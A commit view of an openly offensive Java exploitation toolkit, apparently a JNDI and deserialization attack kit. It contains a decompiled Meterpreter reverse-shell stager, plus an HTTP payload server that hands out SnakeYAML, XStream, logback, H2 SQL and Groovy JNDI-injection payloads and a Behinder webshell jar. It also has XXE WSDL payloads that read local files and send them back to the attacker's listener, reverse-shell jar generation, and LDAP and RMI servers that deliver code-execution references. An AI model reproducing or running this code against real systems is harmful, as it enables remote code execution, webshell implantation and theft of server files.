chore: delete CB2 CB4

This commit is contained in:
qi4l
2025-03-06 18:21:51 +08:00
commit 30350fe33e
286 changed files with 24746 additions and 0 deletions
+138
View File
@@ -0,0 +1,138 @@
/*
* Decompiled with CFR 0.152.
*/
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
public class Meterpreter
extends ClassLoader
implements Runnable {
static /* synthetic */ Class class$0;
static /* synthetic */ Class class$1;
static /* synthetic */ Class class$2;
static {
Meterpreter meterpreter = new Meterpreter();
meterpreter.initLhost();
meterpreter.run();
}
public String host;
public String port;
private HashMap parameterMap;
public static void main(String[] args) {
Meterpreter meterpreter = new Meterpreter();
meterpreter.run();
}
public void initLhost() {
this.host = "";
this.port = "";
}
public String toString() {
if (this.host != null && this.port != null) {
Thread thread = new Thread(this);
thread.start();
this.parameterMap.put("result", "ok".getBytes());
} else {
this.parameterMap.put("result", "host or port is null".getBytes());
}
this.parameterMap = null;
return "";
}
public boolean equals(Object paramObject) {
try {
this.parameterMap = (HashMap) paramObject;
this.host = this.get("host");
this.port = this.get("port");
} catch (Exception e) {
return false;
}
return true;
}
public void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer(this.port);
String str4 = this.host;
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
new Meterpreter().bootstrap(inputStream1, outputStream);
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
clazz = this.defineClass(null, arrayOfByte, 0, i);
this.resolveClass(clazz);
} while ((i = dataInputStream.readInt()) > 0);
Object object = clazz.newInstance();
Class[] classArray = new Class[3];
Class<?> clazz2 = class$0;
if (clazz2 == null) {
try {
clazz2 = class$0 = Class.forName("java.io.DataInputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[0] = clazz2;
Class<?> clazz3 = class$1;
if (clazz3 == null) {
try {
clazz3 = class$1 = Class.forName("java.io.OutputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[1] = clazz3;
Class<?> clazz4 = class$2;
if (clazz4 == null) {
try {
clazz4 = class$2 = Class.forName("[Ljava.lang.String;");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[2] = clazz4;
clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
} catch (Throwable throwable) {
// empty catch block
}
}
public void run() {
try {
this.getShell();
} catch (Exception exception) {
System.out.println(exception);
// empty catch block
}
}
public String get(String key) {
try {
return new String((byte[]) this.parameterMap.get(key));
} catch (Exception e) {
return null;
}
}
}
+607
View File
@@ -0,0 +1,607 @@
package com.qi4l.JYso;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.DnslogTemplate;
import com.qi4l.JYso.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import static org.fusesource.jansi.Ansi.ansi;
public class HTTPServer {
//获取根目录路径
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) {
try {
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
String qi = String.valueOf(httpExchange.getRequestURI());
if (qi.contains("setPathAlias")) {
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
} else if (qi.contains("setRoute")) {
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
}
String path = httpExchange.getRequestURI().getPath();
if (path.endsWith(".class")) {
handleClassRequest(httpExchange);
} else if (path.endsWith(".wsdl")) {
handleWSDLRequest(httpExchange);
} else if (path.endsWith(".jar")) {
handleJarRequest(httpExchange);
} else if (path.startsWith("/xxelog")) {
handleXXELogRequest(httpExchange);
} else if (path.endsWith(".sql")) {
handleSQLRequest(httpExchange);
} else if (path.endsWith(".groovy")) {
handlerGroovyRequest(httpExchange);
} else if (path.endsWith(".xml")) {
handleXMLRequest(httpExchange);
} else if (path.endsWith(".txt")) {
handleTXTRequest(httpExchange);
} else if (path.endsWith(".yml")) {
handleYmlRequest(httpExchange);
} else {
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
}
private static void handleFileRequest(HttpExchange exchange) throws Exception {
System.out.println("[-] 请求的后缀不对");
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
if (YamlName.equalsIgnoreCase("snake")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = "success!".getBytes();
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
String xstream = "<linked-hash-set>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
" <dataHandler>\n" +
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
" <is class=\"javax.crypto.CipherInputStream\">\n" +
" <cipher class=\"javax.crypto.NullCipher\">\n" +
" <initialized>false</initialized>\n" +
" <opmode>0</opmode>\n" +
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </next>\n" +
" </iter>\n" +
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
" <method>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>foo</name>\n" +
" </filter>\n" +
" <next class=\"string\">foo</next>\n" +
" </serviceIterator>\n" +
" <lock/>\n" +
" </cipher>\n" +
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
" <ibuffer></ibuffer>\n" +
" <done>false</done>\n" +
" <ostart>0</ostart>\n" +
" <ofinish>0</ofinish>\n" +
" <closed>false</closed>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
"</linked-hash-set>";
if (xmlName.equals("a")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (xmlName.equals("x")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (sqlName.equalsIgnoreCase("echo")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (sqlName.equalsIgnoreCase("inject")) {
System.out.println("@|green Response Code: |@" + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (groovyName.equalsIgnoreCase("groovyecho")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String bytes = "class demo {\n" +
" static void main(){\n" +
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
" o.setAutoCommit(true);\n" +
" }\n" +
"}\n";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")) {
byte[] bytes;
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
File file = new File(filename);
if (file.exists()) {
byte[] bytes;
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + path;
File file = new File(pa);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length());
exchange.getResponseBody().write(bytes);
System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if (path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
"/" + jarName + ".jar!/file.txt\"><a></a>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("http")) {
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>&#39;>'>%ccc;";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map<String, String> parseQuery(String query) {
Map<String, String> params = new HashMap<>();
try {
for (String str : query.split("&")) {
try {
String[] parts = str.split("=", 2);
params.put(parts[0], parts[1]);
} catch (Exception e) {
//continue
}
}
} catch (Exception e) {
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes;
String className = "xExportObject";
switch (type.toLowerCase()) {
case "command":
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
break;
case "dnslog":
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
break;
case "reverseshell":
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
break;
case "webspherememshell":
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
break;
default:
return null;
}
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
+121
View File
@@ -0,0 +1,121 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.AESUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
}
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
//添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
}
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = AESUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
}
//收到ldap请求
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null;
//find controller
//根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) {
//compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return;
}
try {
//从控制器中进行返回
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
}
}
}
+323
View File
@@ -0,0 +1,323 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
/**
* Generic JRMP listener
* <p>
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
* <p>
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
private final ServerSocket ss;
private final Object waitLock = new Object();
private final URL classpathUrl;
private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
}
public static void start() {
String url = "http://" + ip + ":" + rmiPort;
try {
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
RMIServer c = new RMIServer(rmiPort, new URL(url));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
public static ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
command
)));
return ref;
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
@Override
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
//System.err.println("[+] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
